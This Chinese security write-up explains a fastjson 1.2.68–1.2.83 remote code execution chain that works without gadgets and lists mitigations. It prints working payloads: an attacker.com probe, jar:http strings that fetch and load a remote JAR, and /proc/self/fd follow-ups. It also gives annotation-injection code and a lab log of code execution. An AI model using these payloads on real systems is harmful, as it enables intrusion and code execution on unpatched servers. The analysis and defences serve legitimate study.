Fastjson 漏洞演进:从 AutoType 到 1.2.83 Gadget-free RCE

Fastjson 的安全问题不是某一次孤立漏洞,而是围绕 AutoType 机制长期演化出来的一条漏洞链路。从早期任意类型反序列化,到黑名单绕过、AutoType 绕过、ThrowableDeserializer 特殊路径,再到 2026 年 7 月公开的 1.2.68–1.2.83 远程代码执行,核心问题始终是:不可信 JSON 输入能够影响服务端 Java 类型解析与类加载行为。

2026-07-19,一条针对 fastjson 1.x 末代版本的远程代码执行被公开披露:即便 AutoType 默认关闭、且目标 classpath 不存在任何传统 gadget,仍然可以触发。这条链的本质是 “AutoType 关闭下的 SSRF 到 RCE”——checkAutoType 中的资源探测先变成盲 SSRF,再借助远程 JAR 的 @JSONType 元数据让类型加载继续:JDK 8 上可由 jar:http 一次请求直接走到 defineClass 与 <clinit> 完成 RCE;JDK 9+ 起类名校验收紧,需借助 JAR 缓存与 /proc/self/fd 续链绕过。

一、背景与漏洞概览

(一)Fastjson 与 AutoType

Fastjson 是阿里巴巴开源的 Java JSON 序列化与反序列化库,长期被大量 Java Web、Spring Boot、微服务项目使用。它的核心风险点来自一个历史功能:AutoType。

AutoType 的设计目标是让 JSON 数据携带 Java 类型信息,便于反序列化时恢复具体对象类型。例如:

1
2
3
4
{
"@type": "com.example.User",
"name": "test"
}

Fastjson 解析时会根据 @type 中的类名加载并实例化对应 Java 类。这个能力在可信数据场景下很方便,但如果 JSON 输入来自用户,攻击者就可能通过 @type 指定危险类,诱导服务端进入危险的构造、setter、getter、JNDI、TemplatesImpl 或其他 gadget 链,最终造成远程代码执行。

所以 Fastjson 漏洞的根本问题可以概括为:

用户可控输入不应该决定服务端要加载和实例化哪个 Java 类型。

(二)影响范围与触发条件

本次公开风险是 Fastjson 1.x 1.2.68 至 1.2.83 的远程代码执行漏洞。腾讯云安全通告(cloud.tencent.com/announce/detail/2381)指出:攻击者可向使用受影响版本的应用发送特制 JSON,在未启用 SafeMode 的情况下触发远程代码执行。与历史 gadget 型 RCE 不同,它的入口不在反序列化的实例化阶段,而在 checkAutoType 的安全检查过程里——这也正是第三章要逐行拆解的部分。

该漏洞的关键特征:

  • 影响 fastjson 1.2.68 至 1.2.83,覆盖 Fastjson 1.x 最后版本 1.2.83;
  • 暂无 CVE 编号与权威 CVSS 评分(阿里云收录 AVD-2026-1896768,评分暂记未定义;业界按 critical 量级对待);
  • 已有安全厂商(ThreatBook 等)报告监测到针对该漏洞的攻击流量与利用尝试(成功在野利用尚待确认);奇安信(QVD-2026-43021)估计受影响实例达百万级;
  • 不依赖传统第三方 gadget;
  • 不要求开发者显式开启 AutoType;
  • 未启用 SafeMode 是关键风险条件;
  • 常见复现场景是 Spring Boot 可执行 FatJar;
  • fastjson2 不受影响(独立代码库,重写了 AutoType 体系);
  • 阿里巴巴已发布官方安全通告但不会为 1.x 发布补丁——1.x 仓库已归档只读,唯一修复是启用 SafeMode 或迁移 fastjson2。

这次漏洞比历史 AutoType 绕过更值得警惕,因为它不再明显依赖目标业务 classpath 中存在某个传统 gadget。

安全通告普遍按 1.2.68–1.2.83 给出影响范围(部分厂商如 360 给出更宽的 1.2.66–1.2.83 作为排查范围);公开机制文档指出:该资源探测路径在 1.2.60 之后才引入(1.2.60 及更早版本不存在此路径),完整单包复现链条目前以 1.2.83 端到端验证最充分。可以把 1.2.68–1.2.83 作为应急排查范围,但不同小版本的续链行为可能不同,不能简单认为所有版本利用路径完全一致。

从触发条件看,风险更集中在同时满足这些特征的服务:

  • 使用 Fastjson 1.x 1.2.68–1.2.83;
  • 未启用 SafeMode;
  • 使用 Spring Boot 可执行 FatJar 方式运行(ClassLoader 继承 URLClassLoader、URLClassPath 含 jar:file 根);
  • JSON 输入中存在可进入动态类型解析的字段;
  • 应用进程允许访问外部 HTTP/JAR 资源;
  • 运行环境具备 JAR 缓存、ClassLoader 资源解析或 fd 续链条件。

一个明确的负面边界:非 Spring Boot FatJar 的部署(WAR、普通 java -jar、外部 Tomcat/Jetty 容器),其 ClassLoader 不继承 URLClassLoader、URLClassPath 不含 jar:file 根,资源名会被当成本地路径,通常不可被该链路利用。

二、1.x 漏洞演进史

(一)早期 RCE

早期 Fastjson 的类型解析边界较弱,@type 可以直接影响反序列化目标类型。攻击者只要找到目标应用 classpath 中存在的危险类,就可能构造恶意 JSON 触发执行链。

这一阶段的典型特征:

  • 依赖 @type 字段;
  • 依赖目标 classpath 中存在可利用 gadget;
  • 常见利用方向包括 JNDI、TemplatesImpl、JdbcRowSetImpl 等;
  • 防御思路主要是升级版本、关闭 AutoType、增加黑名单。

这一时期的安全策略本质上偏向“补洞式防御”。发现一个危险类,就加入黑名单;发现一种类名变形,就补一条规则。但 Java 生态依赖复杂,黑名单很难穷尽所有可能路径。

(二)黑名单与 AutoType 绕过

Fastjson 后续逐渐默认关闭 AutoType,并引入黑名单、白名单、类型 hash 校验等机制。但攻击者也开始针对这些机制寻找绕过方式。

常见绕过方向包括:

  • 类名变形;
  • 数组类型绕过;
  • 特殊前缀或后缀绕过;
  • 类型缓存污染;
  • expectClass 逻辑绕过;
  • 异常类、接口、父类关系造成的特殊路径。

这一阶段的关键变化是:即使 AutoType 默认关闭,部分内部代码路径仍可能间接进入类型解析逻辑。风险不再只是“开发者显式开启 AutoType 才会出问题”,而是 Fastjson 内部复杂的类型判断、反序列化器选择、特殊类处理逻辑,在某些条件下会重新打开危险入口。

(三)SafeMode

Fastjson 1.2.68 引入了 SafeMode,它是 Fastjson 1.x 后期最重要的安全开关,作用是更彻底地禁用 AutoType。开启方式有三种。

代码方式:

1
ParserConfig.getGlobalInstance().setSafeMode(true);

JVM 参数方式:

1
-Dfastjson.parser.safeMode=true

配置文件方式:

1
fastjson.parser.safeMode=true

需要特别区分的是:AutoType 默认关闭不等于 SafeMode 开启。

模式 含义
AutoType 默认关闭 普通场景不允许任意 @type,但部分内部路径仍可能触发类型解析
SafeMode 开启 更强约束,直接禁用 AutoType 相关能力
noneautotype 版本 编译层面移除 AutoType 相关逻辑

所以对 Fastjson 1.x 来说,安全结论不是“我没有手动开启 AutoType,所以没事”,而是要确认是否启用了 SafeMode,或者是否使用了 noneautotype 构建。

(四)CVE-2022-25845 与 1.2.83

2022 年披露的 CVE-2022-25845 是 Fastjson 历史上非常关键的一次漏洞。NVD / GHSA 记录其影响范围为 com.alibaba:fastjson before 1.2.83(即 < 1.2.83,CVSS 9.8),当时推荐升级到 1.2.83。

这个漏洞的核心是 expectClass 绕过。Fastjson 1.2.68 在引入 SafeMode 的同时,也在 checkAutoType 中新增了 expectClass 参数:当某个类被指定为 expectClass 时,它的子类可以跳过 AutoType 限制。常见的可利用载体有两类——Throwable/Exception(走 ThrowableDeserializer)和 AutoCloseable/Runnable 等接口(走 JavaBeanDeserializer)。攻击者以这些类作为 expectClass,就能在 AutoType 默认关闭的情况下仍反序列化指定类。

这一阶段的关键点:

  • 仍然依赖 @type;
  • 可以绕过 AutoType 关闭策略(借助 expectClass);
  • 依赖目标 classpath 中存在可作 expectClass 载体的类及其可利用子类;
  • 真实 RCE 条件相对苛刻;
  • 1.2.83 曾经被视为当时的安全版本。

但这个结论已经过期。后续新漏洞证明,1.2.83 不能再作为 Fastjson 1.x 的安全终点。

(五)1.x 仓库归档

Fastjson 1.x 仓库(github.com/alibaba/fastjson)已于 2024-10-23 被所有者归档,进入只读状态。

这意味着:

  • 1.x 不再正常维护;
  • 新漏洞大概率不会再有 1.2.84 修复版;
  • 继续使用 1.x 的项目只能依赖 SafeMode、noneautotype 或迁移;
  • “升级到 1.2.83 就安全”已经不成立。

对仍在使用 com.alibaba:fastjson 1.x 的生产系统,应按遗留高风险组件处理——仓库归档只读意味着不会有补丁,唯一缓解是启用 SafeMode 或迁移到 fastjson2。

三、最新漏洞机制:从盲 SSRF 到 RCE

(一)藏在检查里的盲 SSRF

多年以来,fastjson 1.2.83 一直被当作“安全终点”——1.x 最后一个版本、AutoType 默认关闭、黑名单和 SafeMode 齐备,社区共识是“升到 1.2.83 就行了”。拿历史 gadget 链去打 1.2.83,每次都只会收到一句冷冰冰的 autoType is not support.,看起来确实已经堵死。

真正不同的是运行方式:这次把靶场换成了 Spring Boot FatJar 方式运行——和真实生产一模一样。就是这个细节,让一条所有人都认定“已经堵死”的路重新走通了,而且不需要目标 classpath 上存在任何 gadget。

为什么反直觉?因为大家一直把“安全”理解成“能不能实例化某个危险类”,而这次问题的根,根本不在实例化入口。fastjson 在决定“这个 @type 该不该拒绝”之前,会先去读取这个类的字节,看它带不带 @JSONType 注解——而这一次“读”,就把用户可控的字符串送进了 ClassLoader 的资源加载逻辑,变成了对外的网络请求。

这个 SSRF 的源头在 ParserConfig.checkAutoType。对照 fastjson 1.2.83 源码逐行看:大部分是黑名单 hash 校验,但在最终拒绝之前,藏着一段不起眼的逻辑。源码定位:

位置 作用
DefaultJSONParser.java:343 无显式类型的 @type 进入 checkAutoType(typeName, null)
ParserConfig.java:1329 SafeMode 分支,直接抛异常(早于资源探测,是 SafeMode 截断点)
ParserConfig.java:1482-1499 资源名拼装 + getResourceAsStream + @JSONType 扫描
ParserConfig.java:1500-1503 jsonType 命中则 TypeUtils.loadClass
ParserConfig.java:1542 AutoType 关闭时的最终拒绝

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}

设计者的本意是善意的:AutoType 关了,但被 @JSONType 显式标注的类是业务主动声明要用的,应该放行,所以在拒绝前先读字节确认一下。问题在于 getResourceAsStream 接收的字符串,正是用户可控的 @type——而它的本意只是“在本地 classpath 里找一下这个类”。本该只在本地 classpath 里找的名字,一旦被特定 ClassLoader 解释成 URL,就变成了对外的网络请求。

把类型名变成 URL 的就是上面那行 typeName.replace('.', '/'):Java 类型名用点号分隔包(com.example.User),classpath 资源用斜杠(com/example/User.class),所以 fastjson 用它做转换。这行本身无可厚非——直到攻击者控制了 typeName:http:// 里的两个点也会被替换成两个斜杠。

举个直观的例子。一开始把 @type 指向一个自己控制的服务器:

1
{"@type":"http://attacker.com:31337/probe"}

什么都没收到。原因就是 replace 把 attacker.com 切成了 attacker/com,请求发不出去。绕过办法很老套——主机名有点,但 IP 的整数形式没有。127.0.0.1 写成一个数是 2130706433:

1
{"@type":"http://2130706433:31337/probe"}

这一次,artifact server 日志里出现了 GET。fastjson 在“检查 @type 是否允许”的时候,主动向攻击者控制的 HTTP 服务取了一次资源。

这就是这条链真正的漏洞点:一次来自反序列化器的盲 SSRF,AutoType 关着也照发,而且它发生在最终的 autoType is not support 拒绝(约 1542 行)之前——哪怕这次解析最终被拒绝,外部请求已经发出去了。

这个 SSRF 是确定的、普遍成立的,不挑 JDK 版本。因为资源探测发生在类定义(defineClass)之前,JVM 类名校验那一关还没开始,所以无论目标是 JDK 8 还是 JDK 21,盲 SSRF 都成立。哪怕后续推不到 RCE,光是这个 SSRF 本身就已经是高危——它能探测内网、访问云元数据服务、打击内部端点。

那 SafeMode 为什么能挡住?因为 SafeMode 分支在 1329 行,比资源探测(1482 行)早得多。开启 SafeMode 后,checkAutoType 还没走到读字节那一步就直接抛异常了。这也是为什么“AutoType 默认关闭”挡不住、“SafeMode 开启”才挡得住——两者差着 150 多行代码。

(二)从 SSRF 到 RCE

光有一次 SSRF 还不够。要走到代码执行,得让 fastjson 这次“取回来的东西”反过来影响它的类型加载决策。

这个推进靠两样东西:远程 JAR 里的 @JSONType 注解,和被加载 class 的静态初始化块 <clinit>。

第一步,让取回的字节“被信任”。fastjson 读到字节后用 ASM 扫描,发现运行时可见的 @JSONType 就让 jsonType 为真;而 jsonType 一旦为真,即便 AutoType 关着,也会走到 TypeUtils.loadClass 去定义并加载这个类。攻击者在伪造远程 JAR 时,直接用 ASM 把注解塞进 class 字节:

1
2
3
AnnotationVisitor ann = writer.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true);
ann.visitEnd();

第二步,让加载触发执行。代码执行的真正落点是这个类的静态初始化块 <clinit>——fastjson 加载并构建实例时,静态块自动执行,攻击者把 Runtime.exec 放进去就行。fastjson 自己的扫描器(TypeCollector)也正是冲着 <clinit> 去的。

到这里,三个关键角色齐了:

构造对象 作用
JSON 中的 @type 控制 fastjson 的类型名与资源路径
远程 JAR 中的 class 提供可被 ASM 读取的 class 字节
class 上的 @JSONType + <clinit> 一个让 jsonType 成立进入加载,一个负责真正执行代码

在 JDK 8 上,这一步是直接成立的。JVM 的类名校验只禁止类名里出现 .、;、[,jar:http://... 这种含 // 的名字照样能通过 defineClass,类被定义、实例化时 <clinit> 执行,命令就跑起来——一次 jar:http 请求即可 RCE:artifact server 收到 GET /f,应用终端打印 PWNED banner,弹出计算器并把 whoami 结果写入 marker,JSON.parse 端到端返回反序列化对象实例。

从 JDK 9 起,类名合法性校验(verify_unqualified_name)收紧,不再允许类名里出现连续 //。把同一个 payload 打到 JDK 21,拿到的是:

1
ClassFormatError: Illegal class name “jar:http://2130706433:31337/f!/Evil”

也就是说,在 JDK 9+ 上,直接从 http URL 加载 class 这条路会被砍掉,链路退回到(一)里的 SSRF 就停了——资源取回来了,但类定义失败,没有代码执行。要继续推进,需要下一节的 fd 续链。

/proc/self/fd 续链就是为绕过这一关而生的。JVM 通过 jar:http 下载远程 JAR 时不会边下边用,而是把整个 JAR 落盘成临时文件 /tmp/jar_cache.tmp,打开之后立刻从目录里删掉,但文件描述符保持打开。文件在目录里已经看不见,可只要 fd 还开着,Linux 进程就能通过 /proc/self/fd/N 继续读它。

于是第二阶段换一种 @type,指回那个还开着的 fd:

1
2
@type:    jar:file:.proc.self.fd.11!.E11
replace: jar:file:/proc/self/fd/11!/E11.class

注意最终类名是 jar:file:/proc/self/fd/...,只有一个斜杠,没有 ://——正好绕开 JDK 9+ 对连续 // 的限制。fastjson 用 Spring Boot 的 LaunchedURLClassLoader 把它当成一个 jar:file: 资源加载,类被定义、<clinit> 执行。缓存的 JAR 通过 fd 引用,从中加载的类执行任意代码。

这里有一个关键推论:结合 /proc/self/fd 续链,JDK 版本不再是 RCE 的障碍。原因有二:其一,seed 阶段的 JAR 下载发生在 defineClass(类名校验)之前——它是 getResourceAsStream 触发的 URL handler 行为,与 JDK 版本无关,所以 JAR 在任意 JDK 上都会被下载并缓存进 fd;其二,fd 路径的最终类名只含单斜杠,在所有 JDK(8/11/17/21)上都合法。因此从 JDK 8 到 JDK 21,都能从 SSRF 推进到 RCE——JDK 版本只决定利用是“一步”(JDK 8 直接 jar:http)还是“两步”(JDK 9+ 需 fd 续链),不决定最终“能不能 RCE”。

JDK 8 在 seed 那一步就直接走到 <clinit> 完成 RCE,不经过 fd。下面这条完整剧本是 JDK 9+ 的两步形态(seed + fd 续链):

1
2
3
4
5
6
7
8
9
10
11
12
13
seed payload(jar:http)
↓
触发(一)里的盲 SSRF,JVM 取回远程 JAR
↓
JVM 把 JAR 落盘 /tmp/jar_cache.tmp,删目录项但保留 fd
↓
fd payload(jar:file:/proc/self/fd/N)
↓
单斜杠类名绕过 JDK 9+ 校验,LaunchedURLClassLoader 加载
↓
@JSONType 让 jsonType 成立 → loadClass
↓
<clinit> 执行 → Runtime.exec

到底用 jar:http 直连还是 /proc/self/fd 续链,取决于 JDK 版本,而不是嵌入式服务器选型:JDK 8 类名校验宽松,jar:http 一次请求直接 defineClass 并触发 <clinit>,无需 fd;JDK 9+ 类名校验收紧,jar:http 直接加载抛 ClassFormatError,才需要先 seed 再用单斜杠的 fd 路径续链。在 Spring Boot 默认的嵌入式 Tomcat + JDK 8 上,jar:http 直连即可 RCE——所谓“默认 Tomcat 下 jar:http 不生效”并不成立,真正决定成败的是 JDK 版本,以及类加载器拓扑(defineClass 与反序列化 createInstance 是否落在同一个能解析 jar: URL 的 ClassLoader 上)。

fd 编号也不固定,取决于目标进程当时打开了多少文件。常见做法是为一批候选 fd 号各准备一个对应类名的请求(E10、E11……逐个试),命中那个还开着的句柄;复现时看 artifact server 日志与 marker 状态即可。

payload 还有一个硬约束:凡是替换后要当 / 用的位置,@type 里都得写成 .;凡是不能被破坏的名字(JAR 名、类名),都不能含点号。所以真实 payload 里远程 JAR 和类都用 f、Evil、E11 这种无点短名,而不是 lab.jar、com.example.Seed 这种带点写法——带点就会被 replace 切碎。

(三)与历史 gadget RCE 的区别

历史路径:

1
2
3
4
5
6
7
8
9
用户控制 @type
↓
fastjson 解析并加载本地 classpath 中的类
↓
命中目标环境已有 gadget
↓
构造方法、setter、getter、JNDI 或反序列化副作用触发
↓
代码执行

这次路径:

1
2
3
4
5
6
7
8
9
10
11
用户控制 @type
↓
checkAutoType 在拒绝前先做资源探测(SSRF)
↓
typeName 经 replace 变成 jar:/http: URL
↓
LaunchedURLClassLoader 把资源名解释成远程 JAR
↓
@JSONType 让 jsonType 成立,进入 loadClass
↓
远程 class 的 <clinit> 执行
对比项 历史 Fastjson RCE 最新 SSRF-to-RCE
关键入口 @type 触发危险类反序列化 @type 触发 class 资源探测
主要依赖 目标 classpath 中已有 gadget ClassLoader 对特殊资源路径的解析行为
AutoType 关系 多数围绕 AutoType 开启或绕过 AutoType 默认关闭仍进入资源探测路径
利用资源来源 本地依赖包、本地 JDK 类、业务类 远程 JAR/class 与 JVM/JAR 缓存
防御重点 关闭 AutoType、升级黑名单、移除 gadget SafeMode、noneautotype、限制出站、迁移 fastjson2
风险认知误区 “我没有这个 gadget 就没事” “我没开 AutoType / 指定了 DTO 就没事”

这次漏洞的危险点不是“又出现了一个 AutoType 绕过”,而是 fastjson 在安全检查阶段仍然存在用户可控资源解析行为,对应两个独立的安全边界:

  1. SSRF 边界:checkAutoType 在最终拒绝之前,已经通过 getResourceAsStream 访问了外部资源——这一步几乎总能成立;
  2. 类型加载边界:外部 JAR 的 class 元数据反过来影响 jsonType 判断,让加载路径继续——这一步有条件成立。

历史 gadget 型 RCE 的核心是“本地危险类被实例化”;这次链的核心是“安全检查过程先产生外部资源访问(SSRF),再让外部资源参与类型加载决策(RCE)”。

(四)升级到 RCE 的条件

很多团队以为,只要把解析写死成固定 DTO 就安全了:

1
JSON.parseObject(body, BoundEnvelope.class);

但只要 DTO 里有宽泛类型字段,@type 就能藏进嵌套层:

1
2
3
public class BoundEnvelope {
private List<Object> items;
}

List<Object>、Object、Map<String, Object>、JSONObject 这些字段会让嵌套对象重新进入动态类型解析。顶层类型固定了,不代表嵌套字段里的 @type 被拦掉。所以“指定 parseObject 第二个参数”只锁住了最外层。

盲 SSRF 是确定的;能否从 SSRF 升级到 RCE,真正起决定作用的是下面这组条件,而不是 JDK 版本:

  • Fastjson 处于 1.2.68–1.2.83;
  • 没开 SafeMode;
  • Spring Boot FatJar 运行(ClassLoader 继承 URLClassLoader、URLClassPath 含 jar:file 根);
  • 应用允许出站访问远程资源;
  • 目标是 Linux,能用上 /proc/self/fd。

这五条里 ClassLoader 是最容易被忽视、却最根本的一项。整条链依赖同一个能力:ClassLoader 把用户构造的资源名(jar:http://...、jar:file:/proc/...)当成真正的 URL 去取。普通 ClassLoader 只把它当本地路径,链路在第一步就断;只有 URLClassLoader(且 URLClassPath 含 jar:file 根)才会解析这些 URL 形态。Spring Boot FatJar 的 LaunchedURLClassLoader 正好继承自 URLClassLoader,URLClassPath 里带着指向 fat jar 内部的 jar:file 根——这正是它走通的根本原因。

只要这五条同时满足,结合 /proc/self/fd 续链,任意 JDK 版本都能从 SSRF 推进到 RCE。JDK 版本影响的只是利用步骤的繁简:

JDK 版本 利用方式 说明
JDK 8 一步:直接 jar:http://... 类名校验只禁 . ; [,连续 // 可通过,直接 defineClass
JDK 9 / 11 / 17 / 21 两步:seed(jar:http)+ fd 续链(jar:file:/proc/self/fd/N) 直接 jar:http 因连续 // 抛 ClassFormatError;但 seed 下载发生在 defineClass 之前,JAR 照样缓存进 fd;fd 路径单斜杠绕过校验,照常 defineClass

真正会阻断 RCE 的,是下列环境约束(与 JDK 无关):

环境约束 影响 原因
非 Linux(如 Windows) JDK 9+ 停留在 SSRF;JDK 8 一步 RCE 无 /proc/self/fd,fd 续链不成立;但 JDK 8 直接 jar:http 不依赖 fd
非 FatJar 部署(WAR、普通 java -jar、外部容器) 通常不可利用 ClassLoader 不继承 URLClassLoader,URLClassPath 不含 jar:file 根,资源名被当本地路径,连 SSRF 都触发不了
开启 SafeMode 链路在源头截断 checkAutoType 在资源探测前抛异常,连 SSRF 都不成立
无出站网络 无法引入远程 JAR seed 阶段取不回资源,链路无从开始

最后和走 JNDI 的历史链对比一下——JDK 版本对两者的影响截然不同。早期 fastjson 利用链靠 JNDI/RMI/LDAP 让服务端远程拉 class,JDK 版本直接决定成败:

这条新链根本不用 JNDI,走的是 getResourceAsStream + FatJar 的 URL 解析。所以升级 JDK 削弱得了历史 JNDI 链,挡不住这条——结合 /proc/self/fd,从 JDK 8 到 21 都能 RCE。能阻断它的是 SafeMode、迁移 fastjson2、限制出站;只要没开 SafeMode、还是 FatJar、还能出站,前置的 SSRF 就成立,风险就在。

JDK 版本 对传统 JNDI/RMI/LDAP 远程类加载的影响
JDK 8u121 之前 RMI/LDAP 远程 codebase 加载限制较弱,历史 JNDI 链更容易触发
JDK 8u121-8u190 RMI 远程 codebase 默认收紧,但 LDAP 场景仍有历史绕过空间
JDK 8u191 及之后 RMI/LDAP 远程 codebase 加载默认被明显收紧,传统 JNDI 远程 class loading 难度大幅提高
JDK 11/17/21 默认安全边界更严格,传统 JNDI 远程加载链通常不能直接照搬

四、实战复现

(一)复现环境

建议准备两个本地服务:

角色 作用
vulnerable app 使用 Fastjson 1.2.83 的 Spring Boot FatJar 靶场
artifact server 提供实验 JAR/class 资源,观察目标是否发起访问

复现环境不依赖特定公开仓库,核心是准备一个存在 Fastjson 解析入口的 Spring Boot FatJar 服务,以及一个能记录访问日志并提供实验 JAR 的 artifact server。真正要验证的是请求链路,而不是某个仓库的脚本。

(二)请求包与 payload 结构

复现的入口是一个携带 @type 的 JSON POST 请求。如果服务端用固定 DTO 解析,只要 DTO 内部存在 Object、List<Object>、Map<String, Object> 这类宽泛字段,@type 就能藏在嵌套层里绕过顶层类型限制——parseObject(body, SomeDto.class) 只锁住最外层。

payload 本身很短,但字符串变换是整条链的关键。fastjson 内部对 @type 做 typeName.replace('.', '/') + “.class”:点号变斜杠是为了把 Java 类型名映射成 classpath 资源路径,但攻击者控制的字符串里如果本身含有点号,地址就会被切碎。因此 payload 构造有一个硬约束:需要当 / 用的位置写 .,不能被破坏的名字不含点。远程 JAR 名和类名都用无点短名(f、Evil),远程主机用整数 IP(2130706433 = 127.0.0.1,无点号可安全替换)。

第一阶段:盲 SSRF 探测

1
{“@type”: “http://2130706433:31337/probe”}

2130706433 是 127.0.0.1 的十进制表示。该字符串不含点号,replace 原样保留,最终请求落到 http://2130706433:31337/probe.class。预期结果不是应用返回成功,而是 artifact server 日志里出现一次来自 vulnerable app 的 GET 请求——即使应用端随后抛出 autoType is not support,也说明资源探测已经发生,这就是”来自反序列化器的盲 SSRF”。

如果直接写 127.0.0.1 或带点的域名,点号会被替换成斜杠,地址就被破坏。本地复现用两种方式避坑:Docker Compose 内用无点号主机名(如 artifact),或直接用整数 IP(2130706433 表示 127.0.0.1)。

第二阶段:JAR seed → RCE(JDK 8 一步路径)

1
{“@type”: “jar:http:..2130706433:31337.f!.Evil”}

replace 后:

1
jar:http:..2130706433:31337.f!.Evil   →   jar:http://2130706433:31337/f!/Evil.class

http:.. 的两个点还原成 //,.f! 还原成 /f!。artifact server 把 /f 当 JAR 提供,内含带 @JSONType 注解的 Evil.class。fastjson 读到注解后 jsonType 成立,进入 TypeUtils.loadClass;JDK 8 的 defineClass 接受 jar:http:// 形类名,类被定义并初始化,<clinit> 执行。

1
2
3
4
5
6
7
POST /parse  {“@type”:”jar:http:..2130706433:31337.f!.Evil”}
→ parsed: jar:http:..2130706433:31337.f!.Evil@58b07562
→ marker created (RCE) = true
→ whoami: Lang
artifact server: >>> GET /f
app stdout: PWNED: fastjson 1.2.83 gadget-free RCE triggered
(<clinit> 弹出计算器 calc,并把 whoami 结果写入 marker)

image-20260724144119654

各 JDK 版本的预期差异:

JDK 结果
8 defineClass 接受 URL 形类名,<clinit> 直接执行,一步 RCE
9+ verify_unqualified_name 拒绝连续 //,抛 ClassFormatError,链路在 seed 后停止;JVM 已把 JAR 缓存到临时 fd,需第三阶段 fd 续链

<clinit> 是每个类各自独立的 JVM 类初始化,每个类名只执行一次——攻击者 A 用类 Evil 触发后,攻击者 B 换一个不同类名(如 Malicious)仍然能各自触发自己的 <clinit>。但在同一个类名下,第一次请求触发 defineClass + 初始化即 RCE,第二次起类已初始化、payload 不再执行(newInstance 仍返回实例),要复现完整效果需换干净 JVM。靶场 /parse 端点每次先删 marker 正是为了制造这个反差:第一次请求 <clinit> 执行并重建 marker,响应里 marker = true;第二次 marker 被删后无人重建,marker = false——两者对比就是”<clinit> 只跑一次”的直接观测证据。

第三阶段:fd 续链(JDK 9+ 两步路径)

JDK 9+ 直接在 defineClass 处拒绝连续 // 的类名,seed 阶段的 jar:http 请求虽然仍然会被 getResourceAsStream 触发(SSRF 成立),JAR 也会被下载并缓存,但类定义失败,链路停在这里。要继续推进,需要借助 JVM 自己的缓存行为。

JVM 通过 jar:http 下载远程 JAR 时,会把整个 JAR 落盘成临时文件(如 /tmp/jar_cache.tmp),打开文件描述符后立刻从目录中删掉——目录项消失,但 fd 仍然打开。Linux 进程可以通过 /proc/self/fd/N 继续读这个文件。于是第二阶段再发一个 jar:file: 请求,指回这个还开着的 fd:

1
{"@type": "jar:file:.proc.self.fd.11!.E11"}

replace 后:

1
jar:file:.proc.self.fd.11!.E11   →   jar:file:/proc/self/fd/11!/E11.class

最终类名只含单斜杠,绕开 JDK 9+ 对连续 // 的限制。LaunchedURLClassLoader 把它当成 jar:file: 资源加载,类被定义、<clinit> 执行。

这里 11 只是示例 fd 编号,不是固定值。真实复现中需要逐个试探(E10、E11……),命中那个还开着的句柄;观察 artifact server 日志与 marker 状态确认是否成功。

JDK 路径
8 一步:jar:http 直接 defineClass + <clinit>
9+ 两步:seed(jar:http 下载 JAR)+ fd 续链(jar:file:/proc/self/fd/N)

fd 续链依赖 Linux /proc/self/fd 语义,Windows 无此路径——Windows 上 JDK 9+ 停留在 SSRF,只有 JDK 8 能一步 RCE。

SafeMode 对照下,seed 请求和 fd 请求都不会进入资源探测路径——checkAutoType 在 1329 行的 SafeMode 分支先于资源探测直接抛异常。

五、修复与防御

这次漏洞的修复思路不能只停留在“关闭 AutoType”。原因是最新链路利用的是 checkAutoType 过程中的资源探测行为,AutoType 默认关闭并不等于 SafeMode 生效。阿里巴巴官方安全通告给出的处置建议也是两条:启用 SafeMode,或迁移 fastjson2。

(一)迁移 fastjson2

长期方案是迁移到 fastjson2。Fastjson 1.x 已经归档,不应再把 1.2.83 当作安全终点。

Maven 依赖示例:

1
2
3
4
5
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.61</version>
</dependency>

迁移时要注意包名和 API 差异。Fastjson 1.x 使用的是:

1
import com.alibaba.fastjson.JSON;

fastjson2 使用的是:

1
import com.alibaba.fastjson2.JSON;

不要只改版本号,要实际编译、跑单元测试和接口回归,确认序列化字段、日期格式、枚举、泛型解析行为没有业务兼容性问题。

(二)启用 SafeMode

无法马上迁移时,应立即启用 SafeMode。

JVM 启动参数:

1
-Dfastjson.parser.safeMode=true

代码方式:

1
ParserConfig.getGlobalInstance().setSafeMode(true);

配置文件方式:

1
fastjson.parser.safeMode=true

SafeMode 的关键价值在于:它会在资源探测之前阻断普通 AutoType 路径(源码 checkAutoType 约 1329 行的 SafeMode 分支早于 1482 行的资源探测与 loadClass,直接抛异常)。也就是说,防御点不是等远程 class 下载后再拦截,而是让 Fastjson 不再根据用户可控 @type 进入 class 资源探测流程。

(三)noneautotype 构建

如果项目短期仍要停留在 Fastjson 1.x,可以考虑切换到 noneautotype 构建:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83_noneautotype</version>
</dependency>

这个版本在编译层面移除了 AutoType 相关能力,比只依赖运行时开关更稳。它适合短期无法迁移 fastjson2,但又必须降低 AutoType 体系风险的项目。

(四)收紧解析模型

业务代码层面要减少宽泛类型字段:

1
2
3
4
private Object data;
private Map<String, Object> extra;
private List<Object> items;
private JSONObject payload;

这些字段会让嵌套对象继续进入动态类型解析。更稳的做法是定义明确 DTO:

1
2
3
4
5
public class OrderRequest {
private String orderId;
private Address address;
private List<OrderItem> items;
}

顶层 JSON.parseObject(body, SomeDto.class) 不是充分缓解。如果 DTO 内部仍然有 Object、Map<String, Object>、JSONObject,攻击者可以把 @type 放到嵌套字段里。

(五)限制出站访问

最新链路通常需要目标应用访问远程 JAR/class 资源,因此出站访问控制是重要缓解措施。

建议:

  • 应用容器默认禁止访问公网;
  • 只允许访问明确业务依赖的域名或 IP;
  • 禁止应用进程访问未知 HTTP/HTTPS 资源;
  • 监控异常 .jar、.class、jar:http:、jar:file: 请求;
  • 对 Spring Boot 服务增加 egress 日志和告警。

这不是根治,但能显著降低资源探测型链路的成功率。

上一篇
下一篇